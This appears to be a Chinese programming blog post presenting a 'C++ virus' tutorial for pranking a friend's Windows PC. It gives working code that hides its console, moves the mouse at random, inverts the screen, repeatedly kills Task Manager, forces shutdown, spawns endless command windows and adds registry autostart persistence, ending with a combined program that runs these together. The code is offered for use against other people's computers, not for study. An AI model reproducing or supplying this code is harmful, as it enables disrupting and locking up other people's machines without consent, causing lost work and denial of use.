C++病毒教程&代码

本文是一篇关于使用C++编写恶作剧程序的教程,包括隐藏控制台、乱移鼠标指针、屏幕反色、禁用任务管理器、立即或定时关机、生成无数命令行窗口以及实现开机自启的功能。通过这些代码,你可以了解如何操纵Windows系统的某些行为,但请注意,此类程序可能会对他人电脑造成困扰。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

我又来啦๑乛◡乛๑

        今天我们来做一个小病毒。可以去找你的好朋友去整了!

进入正文

        隐藏控制台

        你想关也关不了了......

#include <windows.h>
using namespace std;

int main() {
    HWND hwnd;
    hwnd = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
    if (hwnd) {
        ShowOwnedPopups(hwnd, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
        ShowWindow(hwnd, SW_HIDE);//隐藏窗口
    }
    while (1){
        new char; 
    }
    return 0;
}

        乱移鼠标指针

        你控制不了你的鼠标了!

#include <windows.h>
#include <ctime>

using namespace std;
int main()
{
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    while(1) {//死循环
        SetCursorPos(rand()%x,rand()%y);
    }
    system("pause");
    return 0;
}

        屏幕反色

        开始好看了!

#include <Windows.h>
int main() {
    while(1){
    int cx=GetSystemMetrics(SM_CXSCREEN);
    int cy=GetSystemMetrics(SM_CYSCREEN);
    HWND hwnds;
    hwnds = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
    if (hwnds) {
        ShowOwnedPopups(hwnds, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
        ShowWindow(hwnds, SW_HIDE);//隐藏窗口
    }
      HDC hdcs = GetDC(0);
       BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY); 
       Sleep(1000);
    }
}

        禁用任务管理器

        你再聪明也没用!

#include <bits/stdc++.h>
using namespace std;

int main()
{
    system("taskkill /f /im taskmgr.exe");
    return 0;
}

        关机

                1、立刻关机

                        比较简单

#include <bits/stdc++.h>
using namespace std;

int main()
{
    system("shutdown -p");
    return 0;
}

                2、定时关机

                        哈哈哈!

#include <bits/stdc++.h>
using namespace std;

int main()
{
    system("shutdown -s -t 100"); //100秒后关机
    return 0;
}

        生成无数个命令行

        cmd:凸(艹皿艹 ) ,我真快乐!

#include <bits/stdc++.h>
using namespace std;

int main()
{
    while(1)
        system("start");
    return 0;
}

        开机自启(想想都好玩)

        如果搞一个开机自启,你的电脑就GG了!

HKEY k;
if(RegOpenKeyEx(HKEY_CURRENT_USER,_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &k) == ERROR_SUCCESS)
{
    TCHAR str[MAX_PATH];
    GetModuleFileName(NULL, str, MAX_PATH);
    TCHAR strDir[MAX_PATH] = {};
    DWORD nLength = MAX_PATH;
    long result = RegSetValue(k, nullptr,  0, strDir, nLength);
    if (result != ERROR_SUCCESS || _tcscmp(str, strDir) != 0)
    {
        RegSetValueEx(k, _T("GISRestart"), 0, REG_SZ, (LPBYTE)str, (lstrlen(str) + 1) * sizeof(TCHAR));
        RegCloseKey(k);
    }
}

制作

        真正的游戏开始了。。。。。。

#include <windows.h>
#include <conio.h>
#include <bits/stdc++.h>
#include <math.h>
#include <time.h>
using namespace std;

int main()
{
    system("shutdown -s -t 100 你是猪吗");
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    HWND hwnds;
    hwnds = FindWindow("ConsoleWindowClass", NULL);
    if (hwnds) {
        ShowOwnedPopups(hwnds, SW_HIDE);
        ShowWindow(hwnds, SW_HIDE);
    }
    while(1){
        system("taskkill /f /im taskmgr.exe");
        system("start");
        int cx=GetSystemMetrics(SM_CXSCREEN);
        int cy=GetSystemMetrics(SM_CYSCREEN);
        HDC hdcs = GetDC(0);
        BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY);
        SetCursorPos(rand() % x,rand() % y);
    }
    return 0;
}

这个病毒也有一些瑕疵,开机自启我没用上,感兴趣的可以加上开机自启试一试。嘿嘿嘿。

感谢H.Y_C ⁹⁹⁹⁹⁹⁹⁺带给我的创作灵感!!!!

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

快乐星空Maker

你的鼓励是我创作的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值